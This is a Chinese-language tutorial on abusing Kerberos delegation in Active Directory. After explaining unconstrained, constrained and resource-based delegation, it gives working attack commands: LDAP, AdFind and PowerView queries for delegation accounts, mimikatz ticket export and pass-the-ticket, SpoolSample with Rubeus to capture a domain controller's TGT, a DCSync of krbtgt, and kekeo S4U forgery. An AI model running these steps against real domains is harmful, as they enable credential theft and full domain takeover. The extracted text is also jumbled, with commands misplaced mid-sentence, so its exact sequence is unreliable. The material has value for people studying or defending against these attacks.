搜索

[21887] 2021-04-19_域内委派-原理以及应用

文档创建者：s7ckTeam
浏览次数：6
最后更新：2025-01-18
2021-04-19_域内委派-原理以及应用 域 内 委 派 - 原 理 以 及 应 用 L e m o n S e c   2 0 2 1 - 0 4 - 1 9 以 下 文 章 来 源 于 G a m m a 实 验 室   ， 作 者 0 x A X S D D 点 击 蓝 字 关 注 我 哦 前 言 前 言 域 委 派 是 指 将 域 内 用 户 的 权 限 委 派 给 服 务 账 户 ， 使 得 服 务 账 号 能 够 以 用 户 的 权 限 在 域 内 展 开 活 动 。 委 派 主 要 分 为 非 约 束 委 派   ( U n c o n s t r a i n e d   d e l e g a t i o n ) 和 约 束 委 派   C o n s t r a i n e d   d e l e g a t i o n ) 与 基 于 资 源 的 约 束 委 派   （ R e s o u r c e   B a s e d   C o n s t r a i n e d   D e l e g a t i o n ） 建 议 多 看 几 篇 流 程 ， 思 路 理 清 楚 。 k e r b e r o r s 协 议 认 证 请 求 流 程 协 议 认 证 请 求 流 程 ： ： 1 . 客 户 端 将 用 户 I D 的 明 文 消 息 发 送 给 A S （ 请 求 认 证 ） 2 . A S 检 查 客 户 端 是 否 在 其 数 据 库 中 ， 在 就 会 拿 出 相 应 用 户 i d 对 应 的 h a s h 来 当 作 加 密 密 钥 。 内 容 1 ： 使 用 用 户 i d 对 应 的 h a s h 作 为 密 钥 加 密 的 会 话 密 钥 （ s e s s i o n   k e y ） 内 容 2 ： 使 用 K d r T G T   用 户 的 h a s h 作 为 密 钥 加 密 的 T G T （ T G T 中 包 括 用 户 i d ， 客 户 端 网 络 地 址 ， 票 据 有 效 信 息 和 会 话 密 钥 （ s e s s i o n   k e y ） 3 . 客 户 端 接 收 内 容 1 和 内 容 2 , 使 用 用 户 输 入 的 密 码 生 成 h a s h ， 当 作 解 密 密 钥 来 解 密 内 容 1 的 内 容 ， 拿 到 会 话 密 钥 （ s e s s i o n   k e y ） ， 然 后 生 成 下 面 两 种 内 容 信 息 发 送 给 T G S 内 容 1 ： 使 用 K d r T G T   用 户 的 h a s h 作 为 密 钥 加 密 的 T G T ， 以 及 要 访 问 的 服 务 i d 内 容 2 ： 使 用 会 话 密 钥 （ s e s s i o n   k e y ） 加 密 的 身 份 验 证 器 （ 由 客 户 端 I D 和 时 间 戳 组 成 ） 4 . T G S 收 到 内 容 1 和 内 容 2 ， K d r T G T   用 户 的 h a s h 来 解 密 T G T ， 拿 到 了 （ T G T ） 客 户 端 i d ， 会 话 密 钥 ， 再 使 用 会 话 密 钥 解 密 内 容 2 ， 得 到 （ 身 份 验 证 器 ） 客 户 端 i d ， 然 后 比 对 两 个 客 户 端 i d 是 否 一 致 ， 一 致 则 通 过 认 证 ， 然 后 就 用 内 容 1 中 的 服 务 i d 来 找 到 对 应 的 h a s h 来 作 为 密 钥 ， 返 回 给 客 户 端 两 众 内 容 ： 内 容 1 ： 服 务 i d 对 应 的 h a s h 加 密 的 客 户 端 到 服 务 器 票 证 ( S T ) （ 包 括 客 户 端 I D ， 客 户 端 网 络 地 址 ， 有 效 期 和 客 户 端 / 服 务 器 会 话 密 钥 ） 内 容 2 : 使 用 会 话 密 钥 （ s e s s i o n   k e y ） 加 密 的 客 户 端 / 服 务 器 会 话 密 钥 5 . 客 户 端 收 到 内 容 1 和 内 容 2 后 ， 使 用 会 话 密 钥 （ s e s s i o n   k e y ） 解 密 内 容 2 获 得 客 户 端 / 服 务 器 会 话 密 钥 ， 然 后 发 送 两 种 内 容 给 要 访 问 的 服 务 器 （ 之 前 请 求 的 服 务 i d 对 应 的 服 务 ） 内 容 1 ： G a m m a 实 验 室 实 验 室   . G a m m a 实 验 室 是 专 注 于 网 络 安 全 攻 防 研 究 的 实 验 室 ， 不 定 时 向 外 输 出 技 术 文 章 以 及 自 主 研 发 安 全 工 具 ， 技 术 输 出 不 限 于 ： 渗 透 ， 内 网 ， 红 队 ， 免 杀 ， 病 毒 分 析 ， 逆 向 ， c t f w p 等 , 实 验 室 只 用 于 技 术 研 究 ， 一 切 违 法 犯 罪 与 实 验 室 无 关 ！
服 务 i d 对 应 的 h a s h 加 密 的 客 户 端 到 服 务 器 票 证 （ 包 括 客 户 端 I D ， 客 户 端 网 络 地 址 ， 有 效 期 和 客 户 端 / 服 务 器 会 话 密 钥 ） （ 上 一 个 步 骤 的 内 容 1 ） 内 容 2 ： 使 用 客 户 端 / 服 务 器 会 话 密 钥 加 密 的 一 个 新 的 身 份 验 证 器 （ 其 中 包 括 客 户 端 I D ， 时 间 戳 记 ） 6 . 被 请 求 的 服 务 s s   拿 到 内 容 1 和 内 容 2 ， 使 用 自 己 h a s h 来 作 为 密 钥 ， 来 解 密 内 容 1 ， 拿 到 客 户 端 / 服 务 器 会 话 密 钥 和 客 户 端 I D ， 继 续 把 拿 到 客 户 端 / 服 务 器 会 话 密 钥 来 解 密 内 容 2 ， 获 （ 新 的 身 份 验 证 器 ） 得 客 户 端 I D ， 如 果 一 致 ， 就 会 返 回 内 容 给 客 户 端 ， 来 表 示 回 应 。 内 容 1 ： 客 户 端 / 服 务 器 会 话 密 钥 来 加 密 的 从 内 容 2 解 密 出 来 的 时 间 戳 7 . 客 户 端 使 用 * 客 户 端 / 服 务 器 会 话 密 钥 * 解 密 确 认 （ 消 息 H ） ， 如 果 时 间 戳 是 否 正 确 ， 则 客 户 端 可 以 信 任 服 务 器 并 可 以 开 始 向 服 务 器 发 出 服 务 请 求 8 . 服 务 端 响 应 请 求 。 非 约 束 委 派 非 约 束 委 派 原 理 ： 原 理 ： 当 u s e r 访 问 s e r v i c e 1 时 ， 如 果 s e r v i c e 1 的 服 务 账 号 开 启 了 u n c o n s t r a i n e d   d e l e g a t i o n ( 非 约 束 委 派 ) ， 则 当 u s e r 访 问 s e r v i c e 1 时 会 将 u s e r 的 T G T 发 送 给 s e r v i c e 1 并 保 存 在 内 存 中 已 备 下 次 重 用 ， 然 后 s e r v i c e 1 就 可 以 利 用 这 张 T G T 以 u s e r 的 身 份 去 访 问 域 内 的 任 何 服 务 ( 任 何 服 务 是 指 u s e r 能 够 访 问 的 服 务 ) 了 配 置 了 非 约 束 委 派 的 账 户 的 u s e r A c c o u n t C o n t r o l   属 性 有 个 F L A G 位   T R U S T E D _ F O R _ D E L E G A T I O N ， 且 非 约 束 委 派 的 设 置 需 要 S e E n a b l e D e l e g a t i o n   特 权 ， 该 特 权 通 常 仅 授 予 域 管 理 员 上 图 的 k e r b e r o s 请 求 描 述 分 为 如 下 步 骤 ： # 前 提 建 立 在 用 户 已 经 完 成 了 身 份 认 证 1 . 用 户 向 K D C 发 送 K R B _ A S _ R E Q 消 息 请 求 的 T G T 1 。 2 . K D C 在 K R B _ A S _ R E P 消 息 中 返 回 T G T 1 。
3 . 用 户 根 据 步 骤 2 中 的 T G T 1 请 求 可 转 发 T G T 2 。 4 . K D C 在 K R B _ T G S _ R E P 消 息 中 为 u s e r 返 回 T G T 2 。 5 . 用 户 使 用 步 骤 2 中 返 回 的 T G T 1 向 K D C 请 求 S e r v i c e 1 的 S T （ S e r v i c e   T i c k e t ） 6 . T G S 在 K R B _ T G S _ R E P 消 息 中 返 回 给 用 户 s e r v i c e 1 的 S T 。 7 . 用 户 发 送 K R B _ A P _ R E Q 消 息 请 求 S e r v i c e 1 ， K R B _ A P _ R E Q 消 息 中 包 含 了 T G T 1 和 S e r v i c e 1 的 S T 、 T G T 2 、 T G T 2 的 S e s s i o n K e y 8 . s e r v i c e 1 使 用 用 户 发 送 过 来 的 的 T G T 2 ， 并 以 K R B _ T G S _ R E Q 的 形 式 将 其 发 送 到 K D C ， 以 用 户 的 名 义 请 求 s e r v i c e 2 的 S T 。 9 . K D C 在 K R B _ T G S _ R E P 消 息 中 返 回 s e r v i c e 2 到 s e r v i c e 1 的 S T ， 以 及 s e r v i c e 1 可 以 使 用 的 s e s s i o n k e y 。 S T 将 客 户 端 标 识 为 用 户 ， 而 不 是 s e r v i c e 1 。 1 0 . s e r v i c e 1 通 过 K R B _ A P _ R E Q 以 用 户 的 名 义 向 s e r v i c e 2 发 出 请 求 。 1 1 . s e r v i c e 2 响 应 s e r v i c e 1 的 请 求 。 1 2 . 有 了 这 个 响 应 ， s e r v i c e 1 就 可 以 在 步 骤 7 中 响 应 用 户 的 请 求 。 1 3 . 这 里 的 T G T 转 发 委 派 机 制 没 有 限 制 s e r v i c e 1 使 用 的 T G T 2 是 来 自 哪 个 服 务 ， 所 以 s e r v i c e 1 可 以 以 用 户 的 名 义 向 K D C 索 要 任 何 其 他 服 务 的 票 证 。 1 4 . K D C 返 回 步 骤 1 3 中 请 求 的 S T 1 5 . 1 5 和 1 6   步 骤 s e r v i c e 1 以 用 户 的 名 义 来 请 求 其 它 服 务 简 要 概 括 一 下 ： 准 备 阶 段 ： 首 先 用 户 向 K D C 发 送 两 次 请 求 ， 第 一 次 请 求 可 转 发 的 T G T 1 ， 第 二 次 请 求 依 据 T G T 1 的 可 转 发 T G T 2 ， 然 后 K D C 给 用 户 T G T 1 和 T G T 2 ， 然 后 用 户 使 用 T G T 1 向 K D C 请 求 S e r v e r 1 的 S T ， K D C 返 回 给 用 户 S e r v e r 1 的 S T ， 然 后 用 户 发 送 消 息 给 S e r v e r 1 ， 里 面 包 含 了 S T , T G T 1 , T G T 2 以 及 S e s s i o n k e y 。 开 始 代 表 用 户 去 获 得 访 问 S e r v e r 2 的 S T ： 然 后 s e r v e r 1 拿 T G T 2 向 K D C 请 求 S e r v e r 2 的 S T ， 以 用 户 的 名 义 。 K D C 返 回 给 S e r v i c e 2 到 S e r v i c e 1 的 S T ， 以 及 S e r v i c e 1 可 以 使 用 的 S e s s i o n k e y 。 （ S T 将 客 户 端 标 识 为 用 户 ， 而 不 是 S e r v i c e 1 ） 然 后 就 拿 着 访 问 s e r v e r 2 的 s t ， 去 访 问 S 2 , S 2 返 回 给 内 容 S 1 ， S 1 再 返 回 内 容 给 用 户 思 考 ： 思 考 ： 为 什 么 要 生 成 两 个 T G T ， 在 正 常 的 k e r b o r s 协 议 认 证 的 时 候 只 需 要 一 个 T G T ? 我 个 人 觉 得 是 因 为 ， 第 一 个 T G T 是 拿 来 访 问 S e r v i c e 1 的 ， 第 二 个 T G T 2 是 预 留 给 服 务 器 用 的 ， 让 服 务 器 拿 着 T G T 2 去 请 求 K D C ， 获 得 访 问 S e r v i c e 2 的 S T ， 而 第 一 个 T G T 1 已 经 用 于 请 求 访 问 了 S e r v e r 1 的 S T 。 攻 击 与 利 用 方 式 查 找 域 内 配 置 非 约 束 委 派 的 主 机 和 用 户 ： 查 询 非 约 束 委 派 主 要 是 通 过 搜 索 u s e r A c c o u n t C o n t r o l 属 性 包 含 A D S _ U F _ T R U S T E D _ F O R _ D E L E G A T I O N 的 主 机 或 账 户 1 . k a l i 自 带 的 ： （ 通 过 A c t i v e   D i r e c t o r y ： L D A P 语 法 过 滤 器 ） l d a p s e a r c h 过 滤 条 件 ：
2 . A D F i n d 3 . P o w e r V i e w 过 滤 条 件 ： ( & ( s a m A c c o u n t T y p e = 8 0 5 3 0 6 3 6 8 ) ( u s e r A c c o u n t C o n t r o l : 1 . 2 . 8 4 0 . 1 1 3 5 5 6 . 1 . 4 . 8 0 3 : = 5 2 4 2 8 8 ) ) # 搜 索 非 约 束 委 派 账 户 l d a p s e a r c h   - x   - H   l d a p : / / 1 7 2 . 1 6 . 2 5 . 2 4 2 : 3 8 9   - D   " C N = 域 用 户 名 , C N = U s e r s , D C = n e t w o r k s e c , D C = l o a c l "   - w   域 用 户 密 码 .     - b   " D C = n e t w o r k s e c , D C = l o a c l "   " ( & ( s a m A c c o u n t T y p e = 8 0 5 3 0 6 3 6 8 ) ( u s e r A c c o u n t C o n t r o l : 1 . 2 . 8 4 0 . 1 1 3 5 5 6 . 1 . 4 . 8 0 3 : = 5 2 4 2 8 8 ) ) "   | g r e p   - i E   " d i s t i n g u i s h e d N a m e " # 搜 索 非 约 束 委 派 主 机 l d a p s e a r c h   - x   - H   l d a p : / / 1 7 2 . 1 6 . 2 5 . 2 4 2 : 3 8 9   - D   " C N = 域 用 户 名 , C N = U s e r s , D C = n e t w o r k s e c , D C = l o a c l "   - w   域 用 户 密 码 .   - b   " D C = n e t w o r k s e c , D C = l o a c l "   " ( & ( s a m A c c o u n t T y p e = 8 0 5 3 0 6 3 6 9 ) ( u s e r A c c o u n t C o n t r o l : 1 . 2 . 8 4 0 . 1 1 3 5 5 6 . 1 . 4 . 8 0 3 : = 5 2 4 2 8 8 ) ) "   | g r e p   - i E   " d i s t i n g u i s h e d N a m e " 注 ： 区 别 服 务 用 户 和 主 机 的 区 别 是 s a m A c c o u n t T y p e = 8 0 5 3 0 6 3 6 8   ( 0 x 3 0 0 0 0 0 0 0 ) 时 为 用 户 ， s a m A c c o u n t T y p e = 8 0 5 3 0 6 3 6 9 ( 0 x 3 0 0 0 0 0 0 1 ) 时 为 主 机 ， 而 u s e r A c c o u n t C o n t r o l : 1 . 2 . 8 4 0 . 1 1 3 5 5 6 . 1 . 4 . 8 0 3 : = 5 2 4 2 8 8   则 是 标 识 可 信 任 的 委 派 帐 户 （ 不 受 约 束 的 委 派 ） A d F i n d   [ s w i t c h e s ]   [ - b   b a s e d n ]   [ - f   f i l t e r ]   [ a t t r   l i s t ] 参 数 说 明 ： - b ： 指 定 要 查 询 的 根 节 点 - f ： L D A P 过 滤 条 件 a t t r   l i s t ： 需 要 显 示 的 属 性 查 找 域 中 配 置 非 约 束 委 派 的 用 户 ： . A d F i n d . e x e     - b   " D C = n e t w o r k s e c , D C = l o a c l "   - f   " ( & ( s a m A c c o u n t T y p e = 8 0 5 3 0 6 3 6 8 ) ( u s e r A c c o u n t C o n t r o l : 1 . 2 . 8 4 0 . 1 1 3 5 5 6 . 1 . 4 . 8 0 3 : = 5 2 4 2 8 8 ) ) "   c n   d i s t i n g u i s h e d N a m e 查 找 域 中 配 置 非 约 束 委 派 的 主 机 ： . A d F i n d . e x e   - b   " D C = n e t w o r k s e c , D C = l o a c l "   - f   " ( & ( s a m A c c o u n t T y p e = 8 0 5 3 0 6 3 6 9 ) ( u s e r A c c o u n t C o n t r o l : 1 . 2 . 8 4 0 . 1 1 3 5 5 6 . 1 . 4 . 8 0 3 : = 5 2 4 2 8 8 ) ) "   c n   d i s t i n g u i s h e d N a m e # 查 找 域 中 配 置 非 约 束 委 派 用 户 G e t - N e t U s e r   - U n c o n s t r a i n e d   - D o m a i n   n e t w o r k s e c   | s e l e c t   n a m e # 查 找 域 中 配 置 非 约 束 委 派 的 主 机 ： G e t - N e t C o m p u t e r   - U n c o n s t r a i n e d   - D o m a i n   n e t w o r k s e c # 查 询 域 中 配 置 非 约 束 委 派 的 主 机 （ 另 外 一 个 版 本 的 p o w e r v i e w ） ： G e t - D o m a i n C o m p u t e r   - U n c o n s t r a i n e d   - P r o p e r t i e s   d i s t i n g u i s h e d n a m e , u s e r a c c o u n t c o n t r o l   - V e r b o s e   |   f t - W r a p   - A u t o S i z e
攻 击 与 利 用 ： 攻 击 与 利 用 ： 因 为 从 上 面 可 以 得 知 ， 如 果 一 个 s e r v i c e 的 服 务 账 号 开 启 了 u n c o n s t r a i n e d   d e l e g a t i o n ， 那 么 任 何 访 问 域 用 户 成 员 都 会 把 自 己 的 T G T 发 送 给 它 ， 并 被 保 存 在 s e r v i c e 机 器 内 存 中 以 备 下 次 重 用 （ l s a s s ） ， 如 果 我 们 拿 到 了 这 台 机 器 ， 就 可 以 导 出 用 户 的 T G T ， 那 么 我 们 就 可 以 利 用 这 个 T G T 访 问 能 访 问 到 的 任 何 服 务 ， 如 果 是 域 管 理 员 用 户 ， 那 就 可 以 为 所 欲 为 。 注 ： 在 W i n d o w s 系 统 中 ， 只 有 服 务 账 号 和 主 机 账 号 的 属 性 才 有 委 派 功 能 ， 普 通 用 户 默 认 是 没 有 的 根 据 原 理 ， 我 们 可 以 诱 导 管 理 员 访 问 我 们 开 启 了 u n c o n s t r a i n e d   d e l e g a t i o n 服 务 主 机 ， 那 么 我 们 就 可 以 拿 到 域 管 理 员 的 T G T 了 。 具 体 方 式 ： 具 体 方 式 ： 横 向 到 一 台 开 启 了 u n c o n s t r a i n e d   d e l e g a t i o n 服 务 主 机 ， 用 m i m i k a t z 导 出 T G T （ 管 理 员 权 限 ） 导 入 指 定 票 据 到 当 前 会 话 还 有 一 种 方 式 是 直 接 提 升 成 域 管 理 员 ： 1 . 这 是 需 要 配 合 域 控 上 的 打 印 机 服 务 ， 值 得 注 意 的 事 P r i n t   S p o o l e r 服 务 默 认 是 自 动 运 行 的 2 . 还 得 是 一 台 主 机 账 户 并 且 开 启 了 非 约 束 委 派 域 内 机 器 的 权 限   # 注 ： 是 主 机 账 户 开 启 非 约 束 委 派 ， 而 不 是 服 务 用 户 t i f k i n _ 开 源 了 它 的 p o c 1 . 向 D C 的 S p o o l e r 服 务 发 送 请 求 ， 强 制 其 访 问 U S E R 进 行 身 份 验 证 2 . 用 本 地 的 管 理 员 账 号 打 开 一 个 c m d ， 直 接 运 行 命 令 （ 如 果 不 用 高 权 限 运 行 的 话 会 报 错 ） 3 . 利 用 R u b e u s 将 b a s e 6 4 编 码 的 票 据 直 接 注 入 到 内 存 中 p r i v i l e g e : : d e b u g s e k u r l s a : : t i c k e t s   / e x p o r t k e r b e r o s : : p t t   票 据 名 称 h t t p s : / / g i t h u b . c o m / s h a n f e n g l a n / t e s t / t r e e / m a s t e r / s p o o l e r S p o o l S a m p l e . e x e   D C   U S E R R u b e u s . e x e   m o n i t o r   / i n t e r v a l : 5   / f i l t e r u s e r : D C $   k e k e o / i n t e r v a l : 5   设 置 监 听 间 隔 5 秒 / f i l t e r u s e r   监 听 对 象 为 我 们 的 域 控 ， 注 意 后 面 有 个 $ ， 如 果 不 设 置 监 听 对 象 就 监 听 所 有 的 T G T 这 样 可 以 第 一 时 间 截 取 到 域 控 的 T G T R u b e u s . e x e   d e s c r i b e   / t i c k e t : b a s e 6 4 R u b e u s . e x e   p t t   / t i c k e t : b a s e 6 4
4 . D C s y n c 攻 击 域 控 ： 约 束 委 派 原 理 原 理 由 于 非 约 束 委 派 的 不 安 全 性 ， 微 软 在 w i n d o w s   s e r v i c e   2 0 0 3 中 引 入 了 约 束 委 派 ， 对 k e r b e r o s 协 议 进 行 了 扩 展 ， 引 入 了 S 4 U ， 其 中 S 4 U 支 持 两 个 子 协 议 ： S 4 U 2 S e l f 和 S 4 U 2 p r o x y 。 这 两 个 协 议 可 以 代 替 任 何 用 户 从 K D C 请 求 票 据 ， S 4 U 2 s e l f 可 以 代 表 自 身 请 求 对 其 自 身 的 k e r b e r o s 服 务 票 据 ( S T ) ； S 4 U 2 p r o x y 可 以 以 用 户 名 义 请 求 其 他 服 务 的 S T ， 约 束 委 派 就 限 制 了 S 4 U 2 p r o x y 扩 展 的 范 围 。 注 ： 其 中 步 骤 1 - 4 代 表 S 4 U 2 S e l f 请 求 的 过 程 ， 步 骤 5 - 1 0 代 表 S 4 U 2 p r o x y 的 请 求 过 程 配 置 了 约 束 委 派 的 账 户 的   u s e r A c c o u n t C o n t r o l   属 性 有 个 F L A G 位   T R U S T E D _ T O _ A U T H _ F O R _ D E L E G A T I O N ， 并 且 m s D S - A l l o w e d T o D e l e g a t e T o   属 性 还 会 指 定 对 哪 个 S P N 进 行 委 派 。 约 束 委 派 的 设 置 需 要 S e E n a b l e D e l e g a t i o n   特 权 ， 该 特 权 通 常 仅 授 予 域 管 理 员 上 述 请 求 的 文 字 描 述 ： 1 . 用 户 向 s e r v i c e 1 发 出 请 求 （ 用 户 已 通 过 身 份 验 证 ） 。 2 . 服 务 器 收 到 了 请 求 ， 通 过 S 4 U 2 s e l f 扩 展 以 用 户 的 名 义 向 K D C 请 求 用 于 访 问 s e r v i c e 1 的 S T 1 。 3 . K D C 返 回 给 S e r v i c e 1 一 个 用 于 用 户 验 证 S e r v i c e 1 的 S T 1 ， 该 S T 1 可 能 包 含 用 户 的 授 权 数 据 。 4 . s e r v i c e 1 可 以 使 用 S T 中 的 授 权 数 据 来 满 足 用 户 的 请 求 ， 然 后 响 应 用 户 。 尽 管 S 4 U 2 s e l f 向 服 务 1 提 供 有 关 用 户 的 信 息 ， 但 此 扩 展 不 允 许 服 务 1 代 表 用 户 发 出 其 他 服 务 的 请 求 ， 那 是 S 4 U 2 p r o x y 的 作 用 。 6 . 用 户 向 s e r v i c e 1 发 出 请 求 ， s e r v i c e 1 需 要 以 用 户 身 份 访 问 s e r v i c e 2 上 的 资 源 。 （ 但 是 ， 服 务 1 没 有 来 自 用 户 的 转 发 的 T G T 来 通 过 转 发 的 T G T 执 行 委 派 ， 如 指 定 使 用 转 发 的 T G T 进 行 K e r b e r o s 委 派 ） 7 . s e r v i c e 1 以 用 户 的 名 义 向 K D C 请 求 用 户 访 问 s e r v i c e 2 的 S T 2 8 . 如 果 请 求 中 包 含 P A C ， 则 K D C 通 过 检 查 P A C 的 签 名 数 据 来 验 证 P A C   ， 如 果 P A C 有 效 或 不 存 在 ， 则 K D C 返 回 S T 2 给 m i m i k a t z . e x e   " l s a d u m p : : d c s y n c   / d o m a i n : n e t w o r k s e c . l o a c l   / u s e r : D C k r b t g t "
s e r v i c e 1 ， 但 存 储 在 S T 2 的 c n a m e 和 c r e a l m 字 段 中 的 客 户 端 身 份 是 用 户 的 身 份 ， 而 不 是 s e r v i c e 1 的 身 份 。 9 . s e r v i c e 1 使 用 S T 2 以 用 户 的 名 义 向 s e r v i c e 2 发 送 请 求 ， 并 判 定 用 户 已 由 K D C 进 行 身 份 验 证 。 1 0 . s e r v i c e 2 响 应 请 求 。 1 1 . s e r v i c e 1 响 应 用 户 对 步 骤 6 中 的 请 求 。 攻 击 与 利 用 方 式 ： 1 . l d a p s e a r c h 2 . A D F i n d 3 . P o w e r V i e w 攻 击 与 原 理 ： 服 务 用 户 只 能 获 取 某 个 用 户 （ 或 主 机 ） 的 服 务 的 S T ， 所 以 只 能 模 拟 用 户 访 问 特 定 的 服 务 ， 是 无 法 获 取 用 户 的 T G T ， 如 果 我 们 能 获 取 到 开 启 了 约 束 委 派 的 服 务 用 户 的 明 文 密 码 或 者 N T L M   H a s h ， 我 们 就 可 以 伪 造 S 4 U 请 求 ， 进 而 伪 装 成 服 务 用 户 以 任 意 账 户 的 权 限 申 请 访 问 某 服 务 的 S T 。 l d a p s e a r c h # 查 找 域 中 配 置 约 束 委 派 用 户 过 滤 条 件 ( & ( s a m A c c o u n t T y p e = 8 0 5 3 0 6 3 6 8 ) ( m s d s - a l l o w e d t o d e l e g a t e t o = * ) ) 搜 索 命 令 ： l d a p s e a r c h   - x   - H   l d a p : / / 1 7 2 . 1 6 . 2 5 . 2 4 2 : 3 8 9   - D   " C N = 域 用 户 , C N = U s e r s , D C = n e t w o r k s e c , D C = l o a c l "   - w   域 用 户 密 码   - b   " D C = n e t w o r k s e c , D C = l o a c l "   " ( & ( s a m A c c o u n t T y p e = 8 0 5 3 0 6 3 6 8 ) ( m s d s - a l l o w e d t o d e l e g a t e t o = * ) ) "   | g r e p   - i E   " d i s t i n g u i s h e d N a m e | a l l o w e d t o d e l e g a t e t o " # 查 找 域 中 配 置 约 束 委 派 的 主 机 ： 过 滤 条 件 ( & ( s a m A c c o u n t T y p e = 8 0 5 3 0 6 3 6 9 ) ( m s d s - a l l o w e d t o d e l e g a t e t o = * ) ) l d a p s e a r c h   - x   - H   l d a p : / / 1 7 2 . 1 6 . 2 5 . 2 4 2 : 3 8 9   - D   " C N = 域 用 户 , C N = U s e r s , D C = n e t w o r k s e c , D C = l o a c l "   - w   域 用 户 密 码   - b   " D C = n e t w o r k s e c , D C = l o a c l "   " ( & ( s a m A c c o u n t T y p e = 8 0 5 3 0 6 3 6 9 ) ( m s d s - a l l o w e d t o d e l e g a t e t o = * ) ) "   | g r e p   - i E   " d i s t i n g u i s h e d N a m e | a l l o w e d t o d e l e g a t e t o " # 查 找 用 户 . A d F i n d . e x e   - b   " D C = n e t w o r k s e c , D C = l o a c l "   - f   " ( & ( s a m A c c o u n t T y p e = 8 0 5 3 0 6 3 6 8 ) ( m s d s - a l l o w e d t o d e l e g a t e t o = * ) ) "   c n   d i s t i n g u i s h e d N a m e   m s d s - a l l o w e d t o d e l e g a t e t o # 查 找 域 中 配 置 约 束 委 派 的 主 机   . A d F i n d . e x e   - b   " D C = n e t w o r k s e c , D C = l o a c l "   - f   " ( & ( s a m A c c o u n t T y p e = 8 0 5 3 0 6 3 6 9 ) ( m s d s - a l l o w e d t o d e l e g a t e t o = * ) ) "   c n   d i s t i n g u i s h e d N a m e   m s d s - a l l o w e d t o d e l e g a t e t o   # 查 找 域 中 配 置 约 束 委 派 用 户 G e t - D o m a i n U s e r   – T r u s t e d T o A u t h   - d o m a i n   域 名 全 称   - P r o p e r t i e s   d i s t i n g u i s h e d n a m e , u s e r a c c o u n t c o n t r o l , m s d s - a l l o w e d t o d e l e g a t e t o | f l # 查 找 域 中 配 置 约 束 委 派 的 主 机 ： G e t - D o m a i n C o m p u t e r   - T r u s t e d T o A u t h   - D o m a i n   域 名 全 称   - P r o p e r t i e s   d i s t i n g u i s h e d n a m e , u s e r a c c o u n t c o n t r o l , m s d s - a l l o w e d t o d e l e g a t e t o | f t   - W r a p   - A u t o S i z e
这 里 就 要 用 到 一 个 工 具 k e k e o 1 . 首 先 查 询 域 内 配 置 了 约 束 性 委 派 的 服 务 账 号 2 . 用 k e k e o 请 求 该 用 户 的 T G T , 如 果 我 们 拿 到 了 服 务 用 户 的 明 文 密 码 或 者 N T L M   H a s h 3 . 得 到 用 户 T G T 的 服 务 使 用 伪 造 s 4 u 2 s e l f 请 求 和 s 4 u 2 p r o x y 以 a d m i n i s t r a t o r 用 户 身 份 请 求 访 问 4 . 将 S 4 U 2 S e l f 获 取 到 的 S T 1 以 及 S 4 U 2 P r o x y 获 取 到 的 访 问 服 务 的 S T 2 保 存 在 当 前 目 录 下 然 后 我 们 用 m i m i k a t z 将 S T 2 导 入 当 前 会 话 即 可 当 然 如 果 我 们 获 得 了 服 务 账 号 所 在 主 机 的 权 限 ， 那 么 ， 我 们 可 以 利 用 m i m i k a t z 从 内 存 中 将 票 据 导 出 来 。 注 ： s e k u r l s a : : t i c k e t s 是 列 出 和 导 出 所 有 会 话 的 K e r b e r o s 票 据 ， s e k u r l s a : : t i c k e t s 和 k e r b e r o s : : l i s t 不 同 ， s e k u r l s a 是 从 内 存 读 取 ， 也 就 是 从 l s a s s 进 程 读 取 ， 这 也 就 是 为 什 么 s e k u r l s a : : t i c k e t s   / e x p o r t 需 要 管 理 员 权 限 的 原 因 。 并 且 s e k u r l s a : : t i c k e t s 的 导 出 不 受 密 钥 限 制 ， s e k u r l s a 可 以 访 问 其 他 会 话 （ 用 户 ） 的 票 证 。 这 里 已 经 把 票 据 请 求 出 来 了 ， 就 不 用 再 去 a s k 请 求 T G T 票 据 了 3 . 基 于 资 源 的 委 派 : K e r b e r o s 委 派 虽 然 有 用 ， 但 本 质 上 是 不 安 全 的 ， 因 为 对 于 可 以 通 过 模 拟 帐 户 可 以 访 问 哪 些 服 务 没 有 任 何 限 制 , 那 么 模 拟 帐 户 可 以 在 模 拟 帐 户 的 上 下 文 中 访 问 多 个 服 务 ， 而 不 仅 仅 是 特 定 服 务 器 上 的 指 定 服 务 。 而 且 为 了 配 置 受 约 束 的 委 派 ， 必 须 拥 有 S e E n a b l e D e l e g a t i o n 特 权 ， 该 特 权 很 敏 感 ， 通 常 仅 授 予 域 管 理 员 ， 为 了 使 用 户 / 资 源 更 加 独 立 。 基 于 资 源 的 约 束 委 派 ， 顾 名 思 义 ， 现 在 是 要 被 访 问 的 资 源 来 决 定 我 信 任 谁 ， 而 不 是 模 拟 账 户 本 身 区 别 ： 它 不 再 需 要 域 管 理 员 对 其 进 行 配 置 ， 可 以 直 接 在 机 器 账 户 上 配 置 m s D S - A l l o w e d T o A c t O n B e h a l f O f O t h e r I d e n t i t y 属 性 来 设 置 基 于 资 源 的 约 束 委 派 。 （ 此 属 性 的 作 用 是 控 制 哪 些 用 户 可 以 模 拟 成 域 内 任 意 用 户 ， 然 后 向 该 计 算 机 进 行 身 份 验 证 ） 传 统 的 约 束 委 派 ： 在 S e r v i c e A 的 m s D S - A l l o w e d T o A c t O n B e h a l f O f O t h e r I d e n t i t y 属 性 中 配 置 了 对 S e r v i c e B 的 信 任 关 系 ， 定 义 了 到 S e r v i c e B 的 传 出 委 派 信 任 。 G e t - D o m a i n U s e r   - T r u s t e d T o A u t h   - P r o p e r t i e s   d i s t i n g u i s h e d n a m e , u s e r a c c o u n t c o n t r o l , m s d s - a l l o w e d t o d e l e g a t e t o |   f l t g t : : a s k   / u s e r : 域 用 户 名   / d o m a i n : n e t w o r k s e c   / p a s s w o r d : 1 1 1 1   / t i c k e t : w p t g t . k i r b i t g t : : a s k   / u s e r : 域 用 户 名   / d o m a i n : n e t w o r k s e c   / N T L M : x x x x x x x x x x x x x x x x       / t i c k e t : t e s t . k i r b i T g s : : s 4 u   / t g t : t g t 票 据 名 称   / u s e r : a d m i n i s t r a t o r @ n e t w o r k s e c   / s e r v i c e : 访 问 服 务 名 称   / u s e r . n e t w o r k s e c k e r b e r o s : : p t t   s t 2 名 称 m i m i k a t z . e x e   " p r i v i l e g e : : d e b u g "   " s e k u r l s a : : t i c k e t s   / e x p o r t "   e x i t 基 于 资 源 的 约 束 委 派 只 能 在 运 行 W i n d o w s   S e r v e r   2 0 1 2   R 2 和 W i n d o w s   S e r v e r   2 0 1 2 的 域 控 制 器 上 配 置 ， 但 可 以 在 混 合 模 式 林 中 应 用 。
